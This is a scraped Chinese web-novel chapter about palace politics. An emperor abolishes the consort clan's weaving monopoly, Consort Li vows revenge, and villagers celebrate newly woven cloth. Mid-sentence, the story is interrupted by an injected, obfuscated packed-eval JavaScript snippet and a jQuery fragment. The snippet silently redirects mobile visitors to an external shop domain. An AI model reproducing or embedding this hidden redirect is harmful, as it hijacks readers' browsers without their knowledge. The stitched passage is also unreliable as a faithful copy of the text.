文趣网 > 其他小说 > 昭昭盛世 > 37.第 37 章
    天还没亮透,金銮殿的琉璃瓦上覆着一层薄薄的霜。文武百官列班而立,呼吸在晨光里凝成白雾,又从袖口和袍角之间慢慢散开。殿里很安静,安静得能听见有人轻轻调整笏板时木料摩擦袖子的细响。

    赵明珩坐在龙椅上,面前摊着那道写好的圣旨。

    他的手指按在绢面的边沿上,指腹微微用力,压出一道极浅的折痕。他抬眼扫了一圈殿下低头肃立的群臣,目光掠过几张熟悉的面孔——左边那几个老臣,平日里跟外戚走动最勤;右边那一列,上次弹劾贡缎的清流官员站在其中,腰背挺得笔直。

    他没有等。

    "宣旨。"

    两个字落下去,满殿的空气像是被抽走了一截。

    内侍监双手捧起圣旨,展开,声音清朗,一字一字念出来。

    即日起,废除外戚织造工坊之垄断专营权,全境织造归朝廷统筹监管。严查历年贡赋贪墨、克扣民脂之事,凡涉事者一律锁拿,交有司依律论处。恢复新法,推广改良织机与农具,各地府衙限期提报推进方略。

    内侍监念完了最后一个字,把圣旨轻轻合上,退回赵明珩身侧。

    殿里安静了三息。

    然后那个清流官员率先出列,袍角扫过金砖地,跪下去的时候额头磕在地上咚的一声响。他抬起头来,眼眶已经红了,嘴唇哆嗦了几下,才挤出声音来:"臣……领旨!"

    他身后陆陆续续跪下去七八个人,都是平日里隐忍已久的清流和中间派。他们跪在地上,脊背压得很低,有人肩膀在微微地抖。

    与此同时,班列的另一侧,几个老臣的面色铁青。站在最前面的一个,胡子已经花白了,攥着笏板的手指节发白,嘴角抿成一条刀刻似的线。他的嘴唇动了动,像是想说什么,但赵明珩的目光已经扫过来了,不重,就那么平平静静地落在他脸上。他把嘴里的话咽了回去,没有跪,也没有动,像一根钉在地上的桩子。

    赵明珩没有看他。

    他站起来,声音不高不低:"退朝。"

    百官三呼万岁,声浪在殿梁间回荡了一串才慢慢落下去。

    赵明珩走下龙椅的时候,步子不快不慢,袍角拂过台阶,干干净净的。他走到殿门口,停下来,侧头对内侍监说了一句:"散了朝,直接回御书房。"

    内侍监弯腰应了声"是"。

    宫道上,文武百官鱼贯而出。清流那几个人走在最后,脚步比来时快了许多,有人眼眶还是红的,有人低着头快步走,像是在克制什么。而那几个老臣走在最前面,袍角甩得呼呼响,其中一人上了轿子之后,帘子一落下就对随从低喝了一句:"去长乐宫,快。"

    消息比轿子还快。

    长乐宫的暖阁里,丽贵妃正倚在榻上,宫女在给她捏肩。她半阖着眼,手里捻着一颗剥好的葡萄,刚送到嘴边,门外忽然响起一阵急促的脚步声。刘嬷嬷几乎是跌进来的,脸色白得像褪了色的旧绢,嘴张了两下才发出声音。

    "娘娘——"

    丽贵妃的眼睛睁开了,葡萄悬在唇边没送进去。她看着刘嬷嬷那张煞白的脸,嘴角的笑意慢慢收起来,像一盏灯被人从远处拧小了。

    "说。"

    刘嬷嬷扑到她面前,声音压着但还是抖:"陛下……陛下今早当朝下旨了,废除外戚织造工坊垄断权,清查历年贪墨,恢复新法……"

    葡萄从丽贵妃的指尖滑落,滚在榻沿上,又弹到地上,骨碌碌转了两圈才停下来,紫红的汁液在地毯上洇出一小片暗渍。她盯着刘嬷嬷的脸,像是要把那张脸上的每一个字都抠出来重新拼一遍。

    "你说什么?"

    "娘娘,旨意已经宣了,满朝文武都在场——"

    "——不可能!"丽贵妃的声音陡然拔高,像一根绷到极致的弦被猛地拨了一下。她霍然坐直了身子,护甲磕在榻沿的木棱上,发出一声脆响。她盯着刘嬷嬷,眼底有什么东西在碎裂,但更多的是暴怒涌上来之前的铁青,"他什么时候写的?谁给他递的东西?他前几天还……"

    她说不下去了。因为她忽然想起来,前天赵明珩来她宫里用晚膳的时候,神情确实和平时不太一样——话少了,夹菜的动作慢了,看她的目光里少了点东西。她当时以为是朝务繁重他累了,还特意让厨房炖了盅参汤送过去。

    那盅参汤他喝了。喝完还让人把空盅送了回来,附了句话:"味道不错。"

    丽贵妃的手攥紧了榻沿的绸缎,攥得指节发白。她忽然觉得那盅参汤像个笑话——他喝着她的汤,心里在写废她的旨意。她被人从头到脚地骗了,骗了不知道多久。

    刘嬷嬷跪在地上,抬头看了一眼丽贵妃的脸色,嘴唇哆嗦着想劝,话还没出口就被打断了。

    "备轿。"丽贵妃站了起来,声音冷得像刚出鞘的刀,"去御书房。"

    刘嬷嬷一把拽住她的袖口:"娘娘,这会儿去,陛下正在气头上——"

    "你放手。"

    刘嬷嬷的手指松开了。

    轿子从长乐宫一路疾行,抬轿的人脚底生风,八个轮子碾过宫道上的薄雪,咯吱咯吱响了一路。丽贵妃坐在轿子里,两手交叠放在膝上,护甲交叉处发出细碎的磕碰声。她脸上没有表情,只有嘴角那根线绷得很紧。

    御书房的门是关着的。门口的内侍见了她,弯腰行礼,但没有让开的意思:"娘娘,陛下正在批折子,吩咐了不见人。"

    丽贵妃低头看着那个内侍的头顶,看了几息,然后笑了一下。那笑意只浮在嘴角,不到眼底就散了。

    "你进去通报一声。就说本宫有急事。"

    内侍犹豫了一下,还是转身进去了。门开了一条缝,丽贵妃听见里面赵明珩的声音传出来,不高,但很平:"让她进来。"

    门打开了。

    丽贵妃走进去的时候,赵明珩正坐在案前,手里捏着一份折子,没有抬头。她站在案前三步的地方,等着他抬头。他看了几行,翻了一页,又看了几行,才把折子放下,抬起眼来。

    "来了。"

    就两个字,像是在招呼一个意料之中的来客。

    丽贵妃看着他。她看了他很久,想从那张熟悉的脸上找到一丝以往的松动、一丝可以让她开口诉苦或撒娇的余地。但她什么都没找到。赵明珩看着她的眼神是平静的,平静得像一面结了冰的湖,底下有什么东西她看不见,但她知道那东西很厚。

    "陛下。"她的声音还是稳的,尾音微微上扬,带着一丝恰到好处的委屈,"朝上的旨意,臣妾听说了。这事怎么没跟臣妾商量过?"

    赵明珩把折子合上,搁在案角。他靠进椅背里,双手交握放在腹前,看着她。

    "朕是皇帝。下旨不需要跟谁商量。"

    丽贵妃的脸色变了一瞬。她咬了一下后槽牙,嘴角那个弧度又撑住了:"外戚织造是臣妾娘家的事,陛下要废要查,臣妾没有二话。可总得给臣妾一个交代吧?臣妾跟了您这么多年——"

    "跟了朕这么多年,你自己算算,外戚工坊从国库里搬走了多少银子。"赵明珩的声音不高,但字字分明,"朕不看情分,看账本。你要看吗?"

    他从案上抽出一本账册,翻开,转了个方向,推到案沿。

    丽贵妃没有看。她的手指在袖中攥紧了,指甲掐进掌心,疼得发麻。她看着那本摊开的账册,像看着一件不该出现在这里的东西。她忽然意识到,这个男人已经不是她认识的那个了——或者,他从来都是这个样子的,只是她一直没看见。

    "陛下,"她的声音低下去,"您真的要为了几张图纸、几个泥腿子,翻臣妾的娘家?"

    赵明珩看着她。他的目光落在她脸上,片刻,开口,声音还是那么平。

    "朕是为了江山。你娘家的账窟窿再不填,朕的江山就要空了。到时候史书上写'赵明珩亡于外戚专权',你陪朕一起背着。"

    丽贵妃的嘴唇动了动,想说什么,最终什么都没说出来。她站在那里,站了很长的时间,御书房里的香炉安静地升着烟,白烟直直地飘上去,到半空才散开。

    "如果臣妾说,臣妾不答应呢?"她的声音很轻。

    赵明珩看着她,没有回答。但他的眼睛告诉她答案了。

    丽贵妃慢慢转过身,往外走。她走到门口的时候停了一下,没有回头。

    "陛下,您会后悔的。"

    赵明

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17670624|205704||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    珩没有看她。"朕已经后悔过一次了。"他的声音从她身后传来,不高不低的,"后悔得太久了。"

    丽贵妃推开门出去了。门合上的时候,风灌进来,吹得案上的纸页翻动了几张,又落下来,安安静静的。

    轿子回了长乐宫之后,暖阁的门关了一个时辰。外头的人不知道里面在干什么,只听见偶尔有什么东西碎裂的声音,闷闷的,被厚厚的门板挡住了大半,传出来只剩一点闷响。

    刘嬷嬷端着茶在门口站了一个时辰,不敢进去。等到里面安静了,她才推门进去。

    满地都是碎瓷。茶盏、花瓶、妆台上的粉盒,能砸的全砸了。白狐皮地毯上一片狼藉,彩釉碎片嵌进毛里,像踩碎的冰面。

    丽贵妃坐在榻沿上,头发散了一边,护甲掰断了一根,断口处露出银白色的金属芯。她的胸口剧烈地起伏着,脸上没有什么表情,但那双眼睛红着,像烧到极处的一炉炭。

    刘嬷嬷跪下来收拾碎瓷,不敢说话。

    丽贵妃开口了,声音哑了些,但那个咬牙切齿的劲儿还在:"哭什么?本宫还没输。"

    她站起来,走到妆台前,对着镜子把散掉的头发重新拢好,拔掉断了的那根护甲,换了一根新的。她看着镜子里自己的脸,看了很久,然后慢慢笑了一下。那笑是冷的,冷得像冬天屋檐下面挂着的冰棱子。

    "传话出去。让娘家的人把能用的关系都动起来,御史台那边,礼部那边,还有几个老王爷,能拉拢的一个别落。"她的手指在妆台面上敲了敲,"散布消息出去,就说陛下是被奸人蛊惑,推行妖法,祸乱朝纲,动摇祖制。让那些老臣去闹,去哭,去跪。他不怕本宫,他还能不怕满朝文武一起反对?"

    刘嬷嬷跪着应了,爬起来就要往外跑。

    "回来。"丽贵妃叫住她,沉默了一下,"许昭昭那边,盯紧了。本宫总觉得这件事她脱不了干系。她不是废了么?废了的人能翻出这种浪来?"

    刘嬷嬷点了点头。

    丽贵妃走到窗前,推开窗。冷风灌进来,吹得她散落的碎发拂在脸上。她望着远处昭宁偏殿的方向,目光冷得像两把刀。

    "你以为你赢了?"她对着那个方向,轻轻地说,像是自言自语,"还早着呢。"

    风把她的声音卷走了。

    同一天,同一时刻,几十里外的李家坳,天刚亮透。

    老刘头的儿子把院子里那匹布从织机上取下来的时候,手是抖的。不是害怕,是别的东西——他这辈子没见过这么平整的布。月光白,细密匀整,纹路像水波一样铺开,从头到尾没有一处跳线、一个疙瘩。他把它拿到院子里,迎着光展开,阳光从布面上透过来,薄薄的,柔柔的,像一层刚凝结的冰面。

    他媳妇从屋里跑出来,站在旁边看了一会儿,伸手摸了摸,手指从布面上滑过去,没有阻力。她的手顿了一下,然后又摸了一遍,这一次更慢,从布头摸到布尾,像在确认什么。

    "……真的成了。"她说了这几个字,然后喉咙就堵住了。她蹲下来,脸埋在膝头上,肩膀一抽一抽的。

    老刘头站在院门口,看着那匹布,没有说话。他叼着一根干草茎,嚼了嚼,嚼了很久,然后把草茎吐了,转身走到墙角,把新犁扛了起来,往地里去了。

    阳光照在院子里那匹布上,风一吹,布面轻轻荡了一下,像一面刚升起来的帆。

    有人在那匹布的边角处,绣了一朵小小的花。花瓣歪了一瓣,叶子粗得像韭菜,但看得出是认真的,每一针都扎得深深的,穿过布面又从底下穿回来,一道一道,稳稳的。

    村子里有人路过,看见了那朵花,问了一句:"这绣的是啥?"

    老刘头媳妇抬起头来,眼睛还红着,但脸上有笑了。她摸着那朵花,说了一句。

    "是一个不在了的人,留的东西。"

    她的手指停在那朵歪瓣的花上,停了一会儿,然后把布收起来,叠好,放在屋里最干燥的那个柜子里。

    "等天再暖一点,"她说,"给娃做件衣裳。"

    远处,老刘头已经下地了。新犁入土的声音闷闷的,切开了冻了一冬的地皮。

    雪开始化了。